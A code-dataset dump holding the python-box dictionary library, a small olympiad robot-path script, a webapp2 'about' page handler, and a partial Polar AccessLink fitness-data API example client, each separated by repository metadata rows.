super(BoxObject, self).__init__(wrapped)
box_class = kwargs.pop('box_class', Box)
try:
base_dict = super(BoxObject, self).__getattr__('__dict__')
if args:
raise TypeError('Cannot pass dictionary arguments when '
'internal object has __dict__ attributes. '
'Pass arguments by keyword instead.')
box = box_class(base_dict, **kwargs)
except AttributeError:
box = box_class(*args, **kwargs)
super(BoxObject, self).__setattr__('__dict__', box)
def __call__(self, *args, **kwargs):
"""Call Method for Callable Objects."""
return self.__wrapped__(*args, **kwargs)
def __getattr__(self, name):
"""Get Attribute from Wrapped Object or from Box."""
try:
return super(BoxObject, self).__getattr__(name)
except AttributeError as error:
try:
return self.__dict__[name]
except KeyError:
raise error
def __setattr__(self, name, value):
"""Set Attribute in Wrapped Object or Box."""
if name == '__dict__':
raise TypeError('cannot set __dict__')
elif hasattr(self.__wrapped__, name):
setattr(self.__wrapped__, name, value)
else:
self.__dict__[name] = value
def __delattr__(self, name):
"""Delete Attribute in Wrapped Object or Box."""
if name == '__dict__':
super(BoxObject, self).__setattr__(
'__dict__',
getattr(self.__wrapped__, '__dict__', {})
)
else:
try:
delattr(self.__wrapped__, name)
except AttributeError as error:
try:
del self.__dict__[name]
except KeyError:
raise error
__all__ += ['BoxObject']
| 36.339934 | 79 | 0.55658 |
import string
import sys
import json
import re
import copy
from keyword import kwlist
import warnings
try:
from collections.abc import Iterable, Mapping, Callable
except ImportError:
from collections import Iterable, Mapping, Callable
yaml_support = True
try:
import yaml
except ImportError:
try:
import ruamel.yaml as yaml
except ImportError:
yaml = None
yaml_support = False
wrapt_support = True
try:
import wrapt
except ImportError:
wrapt = None
wrapt_support = False
if sys.version_info >= (3, 0):
basestring = str
else:
from io import open
__all__ = ['Box', 'ConfigBox', 'BoxList', 'SBox',
'BoxError', 'BoxKeyError']
__author__ = 'Chris Griffith'
__version__ = '3.4.2'
BOX_PARAMETERS = ('default_box', 'default_box_attr', 'conversion_box',
'frozen_box', 'camel_killer_box', 'box_it_up',
'box_safe_prefix', 'box_duplicates', 'ordered_box',
'box_intact_types')
_first_cap_re = re.compile('(.)([A-Z][a-z]+)')
_all_cap_re = re.compile('([a-z0-9])([A-Z])')
class BoxError(Exception):
class BoxKeyError(BoxError, KeyError, AttributeError):
def _to_json(obj, filename=None,
encoding="utf-8", errors="strict", **json_kwargs):
json_dump = json.dumps(obj,
ensure_ascii=False, **json_kwargs)
if filename:
with open(filename, 'w', encoding=encoding, errors=errors) as f:
f.write(json_dump if sys.version_info >= (3, 0) else
json_dump.decode("utf-8"))
else:
return json_dump
def _from_json(json_string=None, filename=None,
encoding="utf-8", errors="strict", multiline=False, **kwargs):
if filename:
with open(filename, 'r', encoding=encoding, errors=errors) as f:
if multiline:
data = [json.loads(line.strip(), **kwargs) for line in f
if line.strip() and not line.strip().startswith("#")]
else:
data = json.load(f, **kwargs)
elif json_string:
data = json.loads(json_string, **kwargs)
else:
raise BoxError('from_json requires a string or filename')
return data
def _to_yaml(obj, filename=None, default_flow_style=False,
encoding="utf-8", errors="strict",
**yaml_kwargs):
if filename:
with open(filename, 'w',
encoding=encoding, errors=errors) as f:
yaml.dump(obj, stream=f,
default_flow_style=default_flow_style,
**yaml_kwargs)
else:
return yaml.dump(obj,
default_flow_style=default_flow_style,
**yaml_kwargs)
def _from_yaml(yaml_string=None, filename=None,
encoding="utf-8", errors="strict",
**kwargs):
if filename:
with open(filename, 'r',
encoding=encoding, errors=errors) as f:
data = yaml.load(f, **kwargs)
elif yaml_string:
data = yaml.load(yaml_string, **kwargs)
else:
raise BoxError('from_yaml requires a string or filename')
return data
def _safe_key(key):
try:
return str(key)
except UnicodeEncodeError:
return key.encode("utf-8", "ignore")
def _safe_attr(attr, camel_killer=False, replacement_char='x'):
allowed = string.ascii_letters + string.digits + '_'
attr = _safe_key(attr)
if camel_killer:
attr = _camel_killer(attr)
attr = attr.replace(' ', '_')
out = ''
for character in attr:
out += character if character in allowed else "_"
out = out.strip("_")
try:
int(out[0])
except (ValueError, IndexError):
pass
else:
out = '{0}{1}'.format(replacement_char, out)
if out in kwlist:
out = '{0}{1}'.format(replacement_char, out)
return re.sub('_+', '_', out)
def _camel_killer(attr):
try:
attr = str(attr)
except UnicodeEncodeError:
attr = attr.encode("utf-8", "ignore")
s1 = _first_cap_re.sub(r'\1_\2', attr)
s2 = _all_cap_re.sub(r'\1_\2', s1)
return re.sub('_+', '_', s2.casefold() if hasattr(s2, 'casefold')
else s2.lower())
def _recursive_tuples(iterable, box_class, recreate_tuples=False, **kwargs):
out_list = []
for i in iterable:
if isinstance(i, dict):
out_list.append(box_class(i, **kwargs))
elif isinstance(i, list) or (recreate_tuples and isinstance(i, tuple)):
out_list.append(_recursive_tuples(i, box_class,
recreate_tuples, **kwargs))
else:
out_list.append(i)
return tuple(out_list)
def _conversion_checks(item, keys, box_config, check_only=False,
pre_check=False):
if box_config['box_duplicates'] != 'ignore':
if pre_check:
keys = list(keys) + [item]
key_list = [(k,
_safe_attr(k, camel_killer=box_config['camel_killer_box'],
replacement_char=box_config['box_safe_prefix']
)) for k in keys]
if len(key_list) > len(set(x[1] for x in key_list)):
seen = set()
dups = set()
for x in key_list:
if x[1] in seen:
dups.add("{0}({1})".format(x[0], x[1]))
seen.add(x[1])
if box_config['box_duplicates'].startswith("warn"):
warnings.warn('Duplicate conversion attributes exist: '
'{0}'.format(dups))
else:
raise BoxError('Duplicate conversion attributes exist: '
'{0}'.format(dups))
if check_only:
return
for k in keys:
if item == _safe_attr(k, camel_killer=box_config['camel_killer_box'],
replacement_char=box_config['box_safe_prefix']):
return k
def _get_box_config(cls, kwargs):
return {
'__converted': set(),
'__box_heritage': kwargs.pop('__box_heritage', None),
'__created': False,
'__ordered_box_values': [],
'default_box': kwargs.pop('default_box', False),
'default_box_attr': kwargs.pop('default_box_attr', cls),
'conversion_box': kwargs.pop('conversion_box', True),
'box_safe_prefix': kwargs.pop('box_safe_prefix', 'x'),
'frozen_box': kwargs.pop('frozen_box', False),
'camel_killer_box': kwargs.pop('camel_killer_box', False),
'modify_tuples_box': kwargs.pop('modify_tuples_box', False),
'box_duplicates': kwargs.pop('box_duplicates', 'ignore'),
'ordered_box': kwargs.pop('ordered_box', False),
'box_intact_types': tuple(kwargs.pop('box_intact_types', ())),
}
class Box(dict):
_protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml',
'from_yaml', 'from_json']
def __new__(cls, *args, **kwargs):
obj = super(Box, cls).__new__(cls, *args, **kwargs)
obj._box_config = _get_box_config(cls, kwargs)
return obj
def __init__(self, *args, **kwargs):
self._box_config = _get_box_config(self.__class__, kwargs)
if self._box_config['ordered_box']:
self._box_config['__ordered_box_values'] = []
if (not self._box_config['conversion_box'] and
self._box_config['box_duplicates'] != "ignore"):
raise BoxError('box_duplicates are only for conversion_boxes')
if len(args) == 1:
if isinstance(args[0], basestring):
raise ValueError('Cannot extrapolate Box from string')
if isinstance(args[0], Mapping):
for k, v in args[0].items():
if v is args[0]:
v = self
self[k] = v
self.__add_ordered(k)
elif isinstance(args[0], Iterable):
for k, v in args[0]:
self[k] = v
self.__add_ordered(k)
else:
raise ValueError('First argument must be mapping or iterable')
elif args:
raise TypeError('Box expected at most 1 argument, '
'got {0}'.format(len(args)))
box_it = kwargs.pop('box_it_up', False)
for k, v in kwargs.items():
if args and isinstance(args[0], Mapping) and v is args[0]:
v = self
self[k] = v
self.__add_ordered(k)
if (self._box_config['frozen_box'] or box_it or
self._box_config['box_duplicates'] != 'ignore'):
self.box_it_up()
self._box_config['__created'] = True
def __add_ordered(self, key):
if (self._box_config['ordered_box'] and
key not in self._box_config['__ordered_box_values']):
self._box_config['__ordered_box_values'].append(key)
def box_it_up(self):
for k in self:
_conversion_checks(k, self.keys(), self._box_config,
check_only=True)
if self[k] is not self and hasattr(self[k], 'box_it_up'):
self[k].box_it_up()
def __hash__(self):
if self._box_config['frozen_box']:
hashing = 54321
for item in self.items():
hashing ^= hash(item)
return hashing
raise TypeError("unhashable type: 'Box'")
def __dir__(self):
allowed = string.ascii_letters + string.digits + '_'
kill_camel = self._box_config['camel_killer_box']
items = set(dir(dict) + ['to_dict', 'to_json',
'from_json', 'box_it_up'])
for key in self.keys():
key = _safe_key(key)
if (' ' not in key and key[0] not in string.digits and
key not in kwlist):
for letter in key:
if letter not in allowed:
break
else:
items.add(key)
for key in self.keys():
key = _safe_key(key)
if key not in items:
if self._box_config['conversion_box']:
key = _safe_attr(key, camel_killer=kill_camel,
replacement_char=self._box_config[
'box_safe_prefix'])
if key:
items.add(key)
if kill_camel:
snake_key = _camel_killer(key)
if snake_key:
items.remove(key)
items.add(snake_key)
if yaml_support:
items.add('to_yaml')
items.add('from_yaml')
return list(items)
def get(self, key, default=None):
if key not in self:
if default is None and self._box_config['default_box']:
return self.__get_default(key)
if isinstance(default, dict) and not isinstance(default, Box):
return Box(default)
if isinstance(default, list) and not isinstance(default, BoxList):
return BoxList(default)
return default
return self[key]
def copy(self):
return Box(super(Box, self).copy())
def __copy__(self):
return Box(super(Box, self).copy())
def __deepcopy__(self, memodict=None):
out = self.__class__()
memodict = memodict or {}
memodict[id(self)] = out
for k, v in self.items():
out[copy.deepcopy(k, memodict)] = copy.deepcopy(v, memodict)
return out
def __setstate__(self, state):
self._box_config = state['_box_config']
self.__dict__.update(state)
def __getitem__(self, item, _ignore_default=False):
try:
value = super(Box, self).__getitem__(item)
except KeyError as err:
if item == '_box_config':
raise BoxKeyError('_box_config should only exist as an '
'attribute and is never defaulted')
if self._box_config['default_box'] and not _ignore_default:
return self.__get_default(item)
raise BoxKeyError(str(err))
else:
return self.__convert_and_store(item, value)
def keys(self):
if self._box_config['ordered_box']:
return self._box_config['__ordered_box_values']
return super(Box, self).keys()
def values(self):
return [self[x] for x in self.keys()]
def items(self):
return [(x, self[x]) for x in self.keys()]
def __get_default(self, item):
default_value = self._box_config['default_box_attr']
if default_value is self.__class__:
return self.__class__(__box_heritage=(self, item),
**self.__box_config())
elif isinstance(default_value, Callable):
return default_value()
elif hasattr(default_value, 'copy'):
return default_value.copy()
return default_value
def __box_config(self):
out = {}
for k, v in self._box_config.copy().items():
if not k.startswith("__"):
out[k] = v
return out
def __convert_and_store(self, item, value):
if (item in self._box_config['__converted'] or
(self._box_config['box_intact_types'] and
isinstance(value, self._box_config['box_intact_types']))):
return value
if isinstance(value, dict) and not isinstance(value, Box):
value = self.__class__(value, __box_heritage=(self, item),
**self.__box_config())
self[item] = value
elif isinstance(value, list) and not isinstance(value, BoxList):
if self._box_config['frozen_box']:
value = _recursive_tuples(value, self.__class__,
recreate_tuples=self._box_config[
'modify_tuples_box'],
__box_heritage=(self, item),
**self.__box_config())
else:
value = BoxList(value, __box_heritage=(self, item),
box_class=self.__class__,
**self.__box_config())
self[item] = value
elif (self._box_config['modify_tuples_box'] and
isinstance(value, tuple)):
value = _recursive_tuples(value, self.__class__,
recreate_tuples=True,
__box_heritage=(self, item),
**self.__box_config())
self[item] = value
self._box_config['__converted'].add(item)
return value
def __create_lineage(self):
if (self._box_config['__box_heritage'] and
self._box_config['__created']):
past, item = self._box_config['__box_heritage']
if not past[item]:
past[item] = self
self._box_config['__box_heritage'] = None
def __getattr__(self, item):
try:
try:
value = self.__getitem__(item, _ignore_default=True)
except KeyError:
value = object.__getattribute__(self, item)
except AttributeError as err:
if item == "__getstate__":
raise AttributeError(item)
if item == '_box_config':
raise BoxError('_box_config key must exist')
kill_camel = self._box_config['camel_killer_box']
if self._box_config['conversion_box'] and item:
k = _conversion_checks(item, self.keys(), self._box_config)
if k:
return self.__getitem__(k)
if kill_camel:
for k in self.keys():
if item == _camel_killer(k):
return self.__getitem__(k)
if self._box_config['default_box']:
return self.__get_default(item)
raise BoxKeyError(str(err))
else:
if item == '_box_config':
return value
return self.__convert_and_store(item, value)
def __setitem__(self, key, value):
if (key != '_box_config' and self._box_config['__created'] and
self._box_config['frozen_box']):
raise BoxError('Box is frozen')
if self._box_config['conversion_box']:
_conversion_checks(key, self.keys(), self._box_config,
check_only=True, pre_check=True)
super(Box, self).__setitem__(key, value)
self.__add_ordered(key)
self.__create_lineage()
def __setattr__(self, key, value):
if (key != '_box_config' and self._box_config['frozen_box'] and
self._box_config['__created']):
raise BoxError('Box is frozen')
if key in self._protected_keys:
raise AttributeError("Key name '{0}' is protected".format(key))
if key == '_box_config':
return object.__setattr__(self, key, value)
if (key not in self.keys() and
(self._box_config['conversion_box'] or
self._box_config['camel_killer_box'])):
if self._box_config['conversion_box']:
k = _conversion_checks(key, self.keys(),
self._box_config)
self[key if not k else k] = value
elif self._box_config['camel_killer_box']:
for each_key in self:
if key == _camel_killer(each_key):
self[each_key] = value
break
else:
self[key] = value
self.__add_ordered(key)
self.__create_lineage()
def __delitem__(self, key):
if self._box_config['frozen_box']:
raise BoxError('Box is frozen')
super(Box, self).__delitem__(key)
if (self._box_config['ordered_box'] and
key in self._box_config['__ordered_box_values']):
self._box_config['__ordered_box_values'].remove(key)
def __delattr__(self, item):
if self._box_config['frozen_box']:
raise BoxError('Box is frozen')
if item == '_box_config':
raise BoxError('"_box_config" is protected')
if item in self._protected_keys:
raise AttributeError("Key name '{0}' is protected".format(item))
del self[item]
def pop(self, key, *args):
if args:
if len(args) != 1:
raise BoxError('pop() takes only one optional'
' argument "default"')
try:
item = self[key]
except KeyError:
return args[0]
else:
del self[key]
return item
try:
item = self[key]
except KeyError:
raise BoxKeyError('{0}'.format(key))
else:
del self[key]
return item
def clear(self):
self._box_config['__ordered_box_values'] = []
super(Box, self).clear()
def popitem(self):
try:
key = next(self.__iter__())
except StopIteration:
raise BoxKeyError('Empty box')
return key, self.pop(key)
def __repr__(self):
return '<Box: {0}>'.format(str(self.to_dict()))
def __str__(self):
return str(self.to_dict())
def __iter__(self):
for key in self.keys():
yield key
def __reversed__(self):
for key in reversed(list(self.keys())):
yield key
def to_dict(self):
out_dict = dict(self)
for k, v in out_dict.items():
if v is self:
out_dict[k] = out_dict
elif hasattr(v, 'to_dict'):
out_dict[k] = v.to_dict()
elif hasattr(v, 'to_list'):
out_dict[k] = v.to_list()
return out_dict
def update(self, item=None, **kwargs):
if not item:
item = kwargs
iter_over = item.items() if hasattr(item, 'items') else item
for k, v in iter_over:
if isinstance(v, dict):
v = self.__class__(v)
if k in self and isinstance(self[k], dict):
self[k].update(v)
continue
if isinstance(v, list):
v = BoxList(v)
try:
self.__setattr__(k, v)
except (AttributeError, TypeError):
self.__setitem__(k, v)
def setdefault(self, item, default=None):
if item in self:
return self[item]
if isinstance(default, dict):
default = self.__class__(default, **self.__box_config())
if isinstance(default, list):
default = BoxList(default,
box_class=self.__class__, **self.__box_config())
self[item] = default
return default
def to_json(self, filename=None,
encoding="utf-8", errors="strict", **json_kwargs):
return _to_json(self.to_dict(), filename=filename,
encoding=encoding, errors=errors, **json_kwargs)
@classmethod
def from_json(cls, json_string=None, filename=None,
encoding="utf-8", errors="strict", **kwargs):
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_json(json_string, filename=filename,
encoding=encoding, errors=errors, **kwargs)
if not isinstance(data, dict):
raise BoxError('json data not returned as a dictionary, '
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
if yaml_support:
def to_yaml(self, filename=None, default_flow_style=False,
encoding="utf-8", errors="strict",
**yaml_kwargs):
return _to_yaml(self.to_dict(), filename=filename,
default_flow_style=default_flow_style,
encoding=encoding, errors=errors, **yaml_kwargs)
@classmethod
def from_yaml(cls, yaml_string=None, filename=None,
encoding="utf-8", errors="strict",
loader=yaml.SafeLoader, **kwargs):
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_yaml(yaml_string=yaml_string, filename=filename,
encoding=encoding, errors=errors,
Loader=loader, **kwargs)
if not isinstance(data, dict):
raise BoxError('yaml data not returned as a dictionary'
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
class BoxList(list):
def __init__(self, iterable=None, box_class=Box, **box_options):
self.box_class = box_class
self.box_options = box_options
self.box_org_ref = self.box_org_ref = id(iterable) if iterable else 0
if iterable:
for x in iterable:
self.append(x)
if box_options.get('frozen_box'):
def frozen(*args, **kwargs):
raise BoxError('BoxList is frozen')
for method in ['append', 'extend', 'insert', 'pop',
'remove', 'reverse', 'sort']:
self.__setattr__(method, frozen)
def __delitem__(self, key):
if self.box_options.get('frozen_box'):
raise BoxError('BoxList is frozen')
super(BoxList, self).__delitem__(key)
def __setitem__(self, key, value):
if self.box_options.get('frozen_box'):
raise BoxError('BoxList is frozen')
super(BoxList, self).__setitem__(key, value)
def _is_intact_type(self, obj):
try:
if (self.box_options.get('box_intact_types') and
isinstance(obj, self.box_options['box_intact_types'])):
return True
except AttributeError as err:
if 'box_options' in self.__dict__:
raise err
return False
def append(self, p_object):
if isinstance(p_object, dict) and not self._is_intact_type(p_object):
try:
p_object = self.box_class(p_object, **self.box_options)
except AttributeError as err:
if 'box_class' in self.__dict__:
raise err
elif isinstance(p_object, list) and not self._is_intact_type(p_object):
try:
p_object = (self if id(p_object) == self.box_org_ref else
BoxList(p_object))
except AttributeError as err:
if 'box_org_ref' in self.__dict__:
raise err
super(BoxList, self).append(p_object)
def extend(self, iterable):
for item in iterable:
self.append(item)
def insert(self, index, p_object):
if isinstance(p_object, dict) and not self._is_intact_type(p_object):
p_object = self.box_class(p_object, **self.box_options)
elif isinstance(p_object, list) and not self._is_intact_type(p_object):
p_object = (self if id(p_object) == self.box_org_ref else
BoxList(p_object))
super(BoxList, self).insert(index, p_object)
def __repr__(self):
return "<BoxList: {0}>".format(self.to_list())
def __str__(self):
return str(self.to_list())
def __copy__(self):
return BoxList((x for x in self),
self.box_class,
**self.box_options)
def __deepcopy__(self, memodict=None):
out = self.__class__()
memodict = memodict or {}
memodict[id(self)] = out
for k in self:
out.append(copy.deepcopy(k))
return out
def __hash__(self):
if self.box_options.get('frozen_box'):
hashing = 98765
hashing ^= hash(tuple(self))
return hashing
raise TypeError("unhashable type: 'BoxList'")
def to_list(self):
new_list = []
for x in self:
if x is self:
new_list.append(new_list)
elif isinstance(x, Box):
new_list.append(x.to_dict())
elif isinstance(x, BoxList):
new_list.append(x.to_list())
else:
new_list.append(x)
return new_list
def to_json(self, filename=None,
encoding="utf-8", errors="strict",
multiline=False, **json_kwargs):
if filename and multiline:
lines = [_to_json(item, filename=False, encoding=encoding,
errors=errors, **json_kwargs) for item in self]
with open(filename, 'w', encoding=encoding, errors=errors) as f:
f.write("\n".join(lines).decode('utf-8') if
sys.version_info < (3, 0) else "\n".join(lines))
else:
return _to_json(self.to_list(), filename=filename,
encoding=encoding, errors=errors, **json_kwargs)
@classmethod
def from_json(cls, json_string=None, filename=None, encoding="utf-8",
errors="strict", multiline=False, **kwargs):
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_json(json_string, filename=filename, encoding=encoding,
errors=errors, multiline=multiline, **kwargs)
if not isinstance(data, list):
raise BoxError('json data not returned as a list, '
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
if yaml_support:
def to_yaml(self, filename=None, default_flow_style=False,
encoding="utf-8", errors="strict",
**yaml_kwargs):
return _to_yaml(self.to_list(), filename=filename,
default_flow_style=default_flow_style,
encoding=encoding, errors=errors, **yaml_kwargs)
@classmethod
def from_yaml(cls, yaml_string=None, filename=None,
encoding="utf-8", errors="strict",
loader=yaml.SafeLoader,
**kwargs):
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_yaml(yaml_string=yaml_string, filename=filename,
encoding=encoding, errors=errors,
Loader=loader, **kwargs)
if not isinstance(data, list):
raise BoxError('yaml data not returned as a list'
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
def box_it_up(self):
for v in self:
if hasattr(v, 'box_it_up') and v is not self:
v.box_it_up()
class ConfigBox(Box):
_protected_keys = dir({}) + ['to_dict', 'bool', 'int', 'float',
'list', 'getboolean', 'to_json', 'to_yaml',
'getfloat', 'getint',
'from_json', 'from_yaml']
def __getattr__(self, item):
try:
return super(ConfigBox, self).__getattr__(item)
except AttributeError:
return super(ConfigBox, self).__getattr__(item.lower())
def __dir__(self):
return super(ConfigBox, self).__dir__() + ['bool', 'int', 'float',
'list', 'getboolean',
'getfloat', 'getint']
def bool(self, item, default=None):
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
if isinstance(item, (bool, int)):
return bool(item)
if (isinstance(item, str) and
item.lower() in ('n', 'no', 'false', 'f', '0')):
return False
return True if item else False
def int(self, item, default=None):
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
return int(item)
def float(self, item, default=None):
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
return float(item)
def list(self, item, default=None, spliter=",", strip=True, mod=None):
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
if strip:
item = item.lstrip('[').rstrip(']')
out = [x.strip() if strip else x for x in item.split(spliter)]
if mod:
return list(map(mod, out))
return out
def getboolean(self, item, default=None):
return self.bool(item, default)
def getint(self, item, default=None):
return self.int(item, default)
def getfloat(self, item, default=None):
return self.float(item, default)
def __repr__(self):
return '<ConfigBox: {0}>'.format(str(self.to_dict()))
def copy(self):
return ConfigBox(super(ConfigBox, self).copy())
def __copy__(self):
return ConfigBox(super(ConfigBox, self).copy())
class SBox(Box):
_protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml',
'json', 'yaml', 'from_yaml', 'from_json',
'dict']
@property
def dict(self):
return self.to_dict()
@property
def json(self):
return self.to_json()
if yaml_support:
@property
def yaml(self):
return self.to_yaml()
def __repr__(self):
return '<ShorthandBox: {0}>'.format(str(self.to_dict()))
def copy(self):
return SBox(super(SBox, self).copy())
def __copy__(self):
return SBox(super(SBox, self).copy())
if wrapt_support:
class BoxObject(wrapt.ObjectProxy):
def __init__(self, wrapped=None, *args, **kwargs):
super(BoxObject, self).__init__(wrapped)
box_class = kwargs.pop('box_class', Box)
try:
base_dict = super(BoxObject, self).__getattr__('__dict__')
if args:
raise TypeError('Cannot pass dictionary arguments when '
'internal object has __dict__ attributes. '
'Pass arguments by keyword instead.')
box = box_class(base_dict, **kwargs)
except AttributeError:
box = box_class(*args, **kwargs)
super(BoxObject, self).__setattr__('__dict__', box)
def __call__(self, *args, **kwargs):
return self.__wrapped__(*args, **kwargs)
def __getattr__(self, name):
try:
return super(BoxObject, self).__getattr__(name)
except AttributeError as error:
try:
return self.__dict__[name]
except KeyError:
raise error
def __setattr__(self, name, value):
if name == '__dict__':
raise TypeError('cannot set __dict__')
elif hasattr(self.__wrapped__, name):
setattr(self.__wrapped__, name, value)
else:
self.__dict__[name] = value
def __delattr__(self, name):
if name == '__dict__':
super(BoxObject, self).__setattr__(
'__dict__',
getattr(self.__wrapped__, '__dict__', {})
)
else:
try:
delattr(self.__wrapped__, name)
except AttributeError as error:
try:
del self.__dict__[name]
except KeyError:
raise error
__all__ += ['BoxObject']
| true | true |
f7f364d3379a18260039767fb44820782b2c660e | 512 | py | Python | uts/uts_2017_sum_py/5/D.py | viad00/code_olymp | 90f20f9fd075e8967d02baf7554fcf24f4ae089c | [
"MIT"
] | null | null | null | uts/uts_2017_sum_py/5/D.py | viad00/code_olymp | 90f20f9fd075e8967d02baf7554fcf24f4ae089c | [
"MIT"
] | null | null | null | uts/uts_2017_sum_py/5/D.py | viad00/code_olymp | 90f20f9fd075e8967d02baf7554fcf24f4ae089c | [
"MIT"
] | null | null | null | import sys
sys.stdin = open('robot.in', 'r')
s = input()
d = 0
a = []
f = 0
c = 0
x = 0
y = 0
for i in s:
if i == 'S':
if (x, y) in a:
print(c)
exit()
a.append((x, y))
c += 1
if d == 0:
x += 1
if d == 1:
y += 1
if d == 2:
x -= 1
if d == 3:
y -= 1
if i == 'L':
d = (d + 1) % 4
if i == 'R':
d = (d - 1) % 4
if (x, y) in a:
print(c)
else:
print(-1)
| 14.628571 | 33 | 0.289063 | import sys
sys.stdin = open('robot.in', 'r')
s = input()
d = 0
a = []
f = 0
c = 0
x = 0
y = 0
for i in s:
if i == 'S':
if (x, y) in a:
print(c)
exit()
a.append((x, y))
c += 1
if d == 0:
x += 1
if d == 1:
y += 1
if d == 2:
x -= 1
if d == 3:
y -= 1
if i == 'L':
d = (d + 1) % 4
if i == 'R':
d = (d - 1) % 4
if (x, y) in a:
print(c)
else:
print(-1)
| true | true |
f7f364fd1081bda368c721f187a3a01029a42b3a | 693 | py | Python | meneame/src/web/meneapp/control/about.py | albertfdp/dtu-data-mining | 62946de30c85d90c7006dfaf884a88b05d34744c | [
"Apache-2.0"
] | null | null | null | meneame/src/web/meneapp/control/about.py | albertfdp/dtu-data-mining | 62946de30c85d90c7006dfaf884a88b05d34744c | [
"Apache-2.0"
] | null | null | null | meneame/src/web/meneapp/control/about.py | albertfdp/dtu-data-mining | 62946de30c85d90c7006dfaf884a88b05d34744c | [
"Apache-2.0"
] | 2 | 2016-06-08T19:54:42.000Z | 2021-02-27T03:53:10.000Z | import webapp2
import jinja2
import os
import hashlib
JINJA_ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), '../view')))
class AboutHandler(webapp2.RequestHandler):
def get(self):
template_values = {
'title': 'Meneame',
'project_name': 'Meneapp',
'albert_hash': hashlib.md5('albertfdp@gmail.com').hexdigest(),
'ferdinando_hash': hashlib.md5('ferdinando.papale@gmail.com').hexdigest(),
'jose_hash': hashlib.md5('th0rg4l@gmail.com').hexdigest()
}
template = JINJA_ENVIRONMENT.get_template('about.html')
self.response.write(template.render(template_values)) | 31.5 | 87 | 0.688312 | import webapp2
import jinja2
import os
import hashlib
JINJA_ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), '../view')))
class AboutHandler(webapp2.RequestHandler):
def get(self):
template_values = {
'title': 'Meneame',
'project_name': 'Meneapp',
'albert_hash': hashlib.md5('albertfdp@gmail.com').hexdigest(),
'ferdinando_hash': hashlib.md5('ferdinando.papale@gmail.com').hexdigest(),
'jose_hash': hashlib.md5('th0rg4l@gmail.com').hexdigest()
}
template = JINJA_ENVIRONMENT.get_template('about.html')
self.response.write(template.render(template_values)) | false | true |
f7f365b7b6c663dd018553299a070ca5152b39df | 6,580 | py | Python | accesslink-API/accesslink_example.py | mendelson/polar-data-analysis | 04c7b8615d88e3966e8a71c4353ad23c61ff022d | [
"MIT"
] | null | null | null | accesslink-API/accesslink_example.py | mendelson/polar-data-analysis | 04c7b8615d88e3966e8a71c4353ad23c61ff022d | [
"MIT"
] | null | null | null | accesslink-API/accesslink_example.py | mendelson/polar-data-analysis | 04c7b8615d88e3966e8a71c4353ad23c61ff022d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from __future__ import print_function
import utils
from accesslink import AccessLink
from datetime import datetime
try:
input = raw_input
except NameError:
pass
CONFIG_FILENAME = 'config.yml'
class PolarAccessLinkExample(object):
"""Example application for Polar Open AccessLink v3."""
def __init__(self):
self.config = utils.load_config(CONFIG_FILENAME)
if 'access_token' not in self.config:
print('Authorization is required. Run authorization.py first.')
return
self.accesslink = AccessLink(client_id=self.config['client_id'],
client_secret=self.config['client_secret'])
self.running = True
self.show_menu()
def show_menu(self):
while self.running:
print('\nChoose an option:\n' +
'-----------------------\n' +
' 1 => Get data\n' +
' 2 => Revoke access token\n' +
'-1 => Exit\n' +
'-----------------------')
self.get_menu_choice()
def get_menu_choice(self):
choice = input('> ')
{
'1': self.get_all_data,
# '1': self.get_user_information,
# '2': self.check_available_data,
'2': self.revoke_access_token,
'-1': self.exit
}.get(choice, self.get_menu_choice)()
def get_all_data(self):
self.get_user_information()
self.check_available_data()
def get_user_information(self):
user_info = self.accesslink.users.get_information(user_id=self.config['user_id'],
access_token=self.config['access_token'])
print('==========\tUSER INFORMATION\t==========')
utils.pretty_print_json(user_info)
utils.save_json_to_file(user_info, f'user_data/user_data_{datetime.today().strftime("%Y-%m-%d")}.json')
def check_available_data(self):
available_data = self.accesslink.pull_notifications.list()
print('==========\tDATA\t==========')
if not available_data:
print('No new data available.')
return
print('Available data:')
utils.pretty_print_json(available_data)
for item in available_data['available-user-data']:
if item['data-type'] == 'EXERCISE':
self.get_exercises()
elif item['data-type'] == 'ACTIVITY_SUMMARY':
self.get_daily_activity()
elif item['data-type'] == 'PHYSICAL_INFORMATION':
self.get_physical_info()
def revoke_access_token(self):
self.accesslink.users.delete(user_id=self.config['user_id'],
access_token=self.config['access_token'])
del self.config['access_token']
del self.config['user_id']
utils.save_config(self.config, CONFIG_FILENAME)
print('Access token was successfully revoked.')
self.exit()
def exit(self):
self.running = False
def get_exercises(self):
transaction = self.accesslink.training_data.create_transaction(user_id=self.config['user_id'],
access_token=self.config['access_token'])
if not transaction:
print('No new exercises available.')
return
resource_urls = transaction.list_exercises()['exercises']
for url in resource_urls:
exercise_summary = transaction.get_exercise_summary(url)
gpx_data = transaction.get_gpx(url)
tcx_data = transaction.get_tcx(url)
hr_data = transaction.get_heart_rate_zones(url)
samples_data = transaction.get_available_samples(url)
sample_data = transaction.get_samples(url)
print('Exercise summary:')
utils.pretty_print_json(exercise_summary)
time = utils.polar_datetime_to_python_datetime_str(str(exercise_summary['start-time']))
utils.save_json_to_file(exercise_summary, f'exercises_data/summary_data_{time}.json')
if gpx_data: # not empty dict. If there is no data, this variable will have '{}' value
utils.save_json_to_file(utils.xml_to_dict(gpx_data), f'exercises_data/gpx_data_{time}.json')
